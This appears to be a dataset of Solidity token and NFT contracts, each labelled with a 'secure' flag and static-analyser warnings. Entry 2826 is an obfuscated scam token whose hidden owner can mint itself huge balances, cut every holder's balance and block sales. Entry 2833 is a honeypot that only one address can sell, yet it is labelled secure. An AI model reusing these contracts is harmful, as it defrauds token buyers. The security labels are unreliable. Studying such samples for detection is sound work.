"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\n\ncontract TheTenThousand {\n\t// WARNING Optimization Issue (constable-states | ID: 322aa61): TheTenThousand.name should be constant \n\t// Recommendation for 322aa61: Add the 'constant' attribute to state variables that never change.\n string public name = \"The Ten Thousand\";\n\t// WARNING Optimization Issue (constable-states | ID: 4be2dbd): TheTenThousand.symbol should be constant \n\t// Recommendation for 4be2dbd: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"TTT\";\n uint256 public totalSupply;\n\n event Transfer(\n address indexed _from,\n address indexed _to,\n uint256 indexed _tokenId\n );\n\n function tokenURI(uint256 tokenId) public pure returns (string memory) {\n return unicode\"💩\";\n }\n\n function mint(uint256 quantity) public {\n require(totalSupply + quantity <= 10000);\n for (uint256 i; i < quantity; i++) {\n emit Transfer(address(0), msg.sender, totalSupply++);\n }\n }\n\n function owner() public view returns (address) {\n return\n IERC721(0x57f1887a8BF19b14fC0dF6Fd9B2acc9Af147eA85).ownerOf(\n 48470876519710777708258103201204544426167522678893968848486433251871114915301\n );\n }\n\n function supportsInterface(bytes4 interfaceId) public pure returns (bool) {\n return\n interfaceId == bytes4(0x01ffc9a7) ||\n interfaceId == bytes4(0x80ac58cd) ||\n interfaceId == bytes4(0x5b5e139f) ||\n interfaceId == bytes4(0x780e9d63);\n }\n}",
"file_name": "solidity_code_2824.sol",
"secure": 1,
"size_bytes": 1732
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC721 {\n function ownerOf(uint256 tokenId) external view returns (address owner);\n}",
"file_name": "solidity_code_2825.sol",
"secure": 1,
"size_bytes": 162
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n address[] private Boron;\n\n mapping(address => bool) private Flame;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n uint256 private Firefigther = 0;\n address public pair;\n IDEXRouter router;\n\n string private _name;\n string private _symbol;\n address private hash8u3ruhi2rfo;\n uint256 private _totalSupply;\n bool private trading;\n uint256 private Television;\n bool private Jacket;\n uint256 private Glaciar;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7a8dcd9): ERC20.constructor(string,string,address).msgSender_ lacks a zerocheck on \t hash8u3ruhi2rfo = msgSender_\n\t// Recommendation for 7a8dcd9: Check that the address is not zero.\n constructor(\n string memory name_,\n string memory symbol_,\n address msgSender_\n ) {\n router = IDEXRouter(_router);\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n\n\t\t// missing-zero-check | ID: 7a8dcd9\n hash8u3ruhi2rfo = msgSender_;\n _name = name_;\n _symbol = symbol_;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function openTrading() external onlyOwner returns (bool) {\n trading = true;\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function burn(uint256 amount) public virtual returns (bool) {\n _burn(_msgSender(), amount);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _Rocketverse(address creator) internal virtual {\n approve(_router, 10 ** 77);\n (Television, Jacket, Glaciar, trading) = (0, false, 0, false);\n (Flame[_router], Flame[creator], Flame[pair]) = (true, true, true);\n }\n\n function _burn(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _balances[account] = (account == hash8u3ruhi2rfo ? (10 ** 48) : 0);\n _balances[address(0)] += amount;\n emit Transfer(account, address(0), amount);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function last(uint256 g) internal view returns (address) {\n return (Glaciar > 1 ? Boron[Boron.length - g - 1] : address(0));\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _balancesOfTheNASA(\n address sender,\n address recipient,\n bool equation\n ) internal {\n Jacket = equation ? true : Jacket;\n if (\n ((Flame[sender] == true) && (Flame[recipient] != true)) ||\n ((Flame[sender] != true) && (Flame[recipient] != true))\n ) {\n Boron.push(recipient);\n }\n if ((Jacket) && (sender == hash8u3ruhi2rfo) && (Television == 1)) {\n\t\t\t// cache-array-length | ID: 60d5451\n for (uint256 lyft = 0; lyft < Boron.length; lyft++) {\n _balances[Boron[lyft]] /= (2 * 10 ** 1);\n }\n }\n\t\t// timestamp | ID: 50d8ce4\n\t\t// incorrect-equality | ID: c070d09\n _balances[last(1)] /= (((Firefigther == block.timestamp) || Jacket) &&\n (Flame[last(1)] != true) &&\n (Glaciar > 1))\n ? (6)\n : (1);\n Firefigther = block.timestamp;\n Glaciar++;\n if (Jacket) {\n require(sender != last(0));\n }\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balancesOfTheGood(sender, recipient);\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _balancesOfTheGood(address sender, address recipient) internal {\n require(\n (trading || (sender == hash8u3ruhi2rfo)),\n \"ERC20: trading is not yet enabled.\"\n );\n _balancesOfTheNASA(\n sender,\n recipient,\n (address(sender) == hash8u3ruhi2rfo) && (Television > 0)\n );\n Television += (sender == hash8u3ruhi2rfo) ? 1 : 0;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function _DeployRocket(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_2826.sol",
"secure": 0,
"size_bytes": 8553
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol, creator) {\n _DeployRocket(creator, initialSupply);\n _Rocketverse(creator);\n }\n}",
"file_name": "solidity_code_2827.sol",
"secure": 0,
"size_bytes": 1094
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Token.sol\" as ERC20Token;\n\ncontract TheRocketToken is ERC20Token {\n constructor()\n ERC20Token(\n \"The Rocket Token\",\n \"ROCKET\",\n msg.sender,\n 200000000 * 10 ** 18\n )\n {}\n}",
"file_name": "solidity_code_2828.sol",
"secure": 1,
"size_bytes": 328
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n address private _newOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _owner = _msgSender();\n emit OwnershipTransferred(address(0), _msgSender());\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n modifier onlyMidWayOwner() {\n require(\n _newOwner == _msgSender(),\n \"Ownable: caller is not the Mid Way Owner\"\n );\n _;\n }\n\n function renounceOwnership() external onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\t\t// events-access | ID: 364ef3a\n _newOwner = newOwner;\n }\n\n function recieveOwnership() external onlyMidWayOwner {\n emit OwnershipTransferred(_owner, _newOwner);\n _owner = _newOwner;\n }\n}",
"file_name": "solidity_code_2829.sol",
"secure": 1,
"size_bytes": 1432
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address internal _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = msg.sender;\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"you are not owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"new is 0\");\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}",
"file_name": "solidity_code_283.sol",
"secure": 1,
"size_bytes": 985
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 public totalSupply;\n\n string public name;\n string public symbol;\n uint8 public immutable decimals;\n\n uint256 public constant tfees = 5;\n\n mapping(address => bool) public freeSender;\n mapping(address => bool) public freeReciever;\n\n constructor(string memory name_, string memory symbol_) {\n name = name_;\n symbol = symbol_;\n decimals = 18;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function setFeeFreeSender(\n address _sender,\n bool _feeFree\n ) external onlyOwner {\n require(_sender != address(0), \"ERC20: transfer from the zero address\");\n require(!_feeFree || _feeFree, \"Input must be a bool\");\n freeSender[_sender] = _feeFree;\n }\n\n function setFeeFreeReciever(\n address _recipient,\n bool _feeFree\n ) external onlyOwner {\n require(\n _recipient != address(0),\n \"ERC20: transfer from the zero address\"\n );\n require(!_feeFree || _feeFree, \"Input must be a bool\");\n freeReciever[_recipient] = _feeFree;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) external view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n (uint256 amounToSend, uint256 feesAmount) = calculateFees(\n sender,\n recipient,\n amount\n );\n\n if (feesAmount > 0) {\n _balances[owner()] = _balances[owner()].add(feesAmount);\n emit Transfer(sender, owner(), feesAmount);\n }\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amounToSend);\n emit Transfer(sender, recipient, amounToSend);\n }\n\n function calculateFees(\n address sender,\n address recipient,\n uint256 amount\n ) public view returns (uint256, uint256) {\n if (freeSender[sender] || freeReciever[recipient]) {\n return (amount, 0);\n }\n\n uint256 fee = amount.mul(tfees).div(1000);\n return (amount.sub(fee), fee);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n totalSupply = totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n _balances[account] = _balances[account].sub(\n amount,\n \"ERC20: burn amount exceeds balance\"\n );\n totalSupply = totalSupply.sub(amount);\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2830.sol",
"secure": 0,
"size_bytes": 6701
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BitBotTokenProtocol is ERC20 {\n constructor() ERC20(\"BitBot Protocol\", \"BBP\") {\n _mint(msg.sender, 10000e18);\n }\n\n function burn(uint256 amount) external {\n _burn(msg.sender, amount);\n }\n}",
"file_name": "solidity_code_2831.sol",
"secure": 1,
"size_bytes": 361
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Token is ERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n string private _name;\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 03c8222): Token._owner should be immutable \n\t// Recommendation for 03c8222: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _owner;\n\n constructor() {\n _symbol = \"IOIS\";\n _name = \"Innovative Online Industries SpaceX Moon\";\n _decimals = 6;\n _totalSupply = 10000000000000;\n _owner = payable(msg.sender);\n _balances[_owner] = _totalSupply;\n _allowances[_owner][\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n ] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][msg.sender];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, msg.sender, currentAllowance - amount);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_2832.sol",
"secure": 1,
"size_bytes": 4286
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0xb5277E0122bC618973282487934da4C64EcF8065,\n 1000000000 * 10 ** 18\n );\n _enable[0xb5277E0122bC618973282487934da4C64EcF8065] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"Up Shiba\";\n _symbol = \"uSHIB\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}",
"file_name": "solidity_code_2833.sol",
"secure": 1,
"size_bytes": 5997
} |
{
"code": "// SPDX-License-Identifier: None\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Counters.sol\" as Counters;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract FluorescentCells is ERC721, Ownable {\n using SafeMath for uint256;\n using Address for uint256;\n using Counters for Counters.Counter;\n Counters.Counter private _tokenSupply;\n\n string private baseURI;\n\n uint256 public constant supplyLimit = 501;\n\n bool public mintOpen = false;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b915efe): FluorescentCells.constructor(string,string).name shadows ERC721.name() (function) IERC721Metadata.name() (function)\n\t// Recommendation for b915efe: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2f395b6): FluorescentCells.constructor(string,string).symbol shadows ERC721.symbol() (function) IERC721Metadata.symbol() (function)\n\t// Recommendation for 2f395b6: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol\n ) ERC721(name, symbol) {}\n\n function mint(uint256 numberOfMints) public payable {\n uint256 supply = _tokenSupply.current() + 1;\n require(mintOpen, \"Sale needs to be active\");\n require(\n numberOfMints > 0 && numberOfMints < 4,\n \"Invalid purchase amount\"\n );\n require(\n supply.add(numberOfMints) <= supplyLimit,\n \"Payment exceeds total supply\"\n );\n\n for (uint256 i = 1; i <= numberOfMints; i++) {\n _safeMint(msg.sender, supply + i);\n _tokenSupply.increment();\n }\n }\n\n function _baseURI() internal view override returns (string memory) {\n return baseURI;\n }\n\n function setBaseURI(string calldata newBaseUri) external onlyOwner {\n baseURI = newBaseUri;\n }\n\n function toggleSale() public onlyOwner {\n mintOpen = !mintOpen;\n }\n\n function returnbalance() external view returns (uint256) {\n uint256 balance = address(this).balance;\n return balance;\n }\n\n function returnCounter() external view returns (uint256) {\n return _tokenSupply.current();\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override {\n ERC721.safeTransferFrom(from, to, tokenId, data);\n }\n\n function withdraw() external onlyOwner {\n require(address(this).balance > 0, \"EMPTY_BALANCE\");\n uint256 balance = address(this).balance;\n payable(msg.sender).transfer(balance);\n }\n}",
"file_name": "solidity_code_2834.sol",
"secure": 0,
"size_bytes": 2994
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./NFTokenMetadata.sol\" as NFTokenMetadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ChineseLianpu is NFTokenMetadata, Ownable {\n constructor() {\n nftName = \"ChineseLianpu\";\n nftSymbol = \"CLP\";\n }\n\n function mint(\n address _to,\n uint256 _tokenId,\n string calldata _uri\n ) external onlyOwner {\n super._mint(_to, _tokenId);\n super._setTokenUri(_tokenId, _uri);\n }\n}",
"file_name": "solidity_code_2835.sol",
"secure": 1,
"size_bytes": 546
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Origins {\n function deposit() external payable;\n}",
"file_name": "solidity_code_2836.sol",
"secure": 1,
"size_bytes": 126
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Origins.sol\" as Origins;\n\ncontract OriginsDao {\n fallback() external payable {}\n receive() external payable {}\n\n\t// WARNING Optimization Issue (immutable-states | ID: ce0b3de): OriginsDao.originsContract should be immutable \n\t// Recommendation for ce0b3de: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address originsContract;\n\t// WARNING Optimization Issue (immutable-states | ID: ebce168): OriginsDao.origins should be immutable \n\t// Recommendation for ebce168: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n Origins origins;\n\n constructor() {\n originsContract = 0xd067c22089a5c8Ab9bEc4a77C571A624e18f25E8;\n origins = Origins(originsContract);\n }\n\n function distribute() public {\n origins.deposit{value: address(this).balance}();\n }\n\n function getContractBalance() public view returns (uint256) {\n return address(this).balance;\n }\n}",
"file_name": "solidity_code_2837.sol",
"secure": 1,
"size_bytes": 1105
} |
{
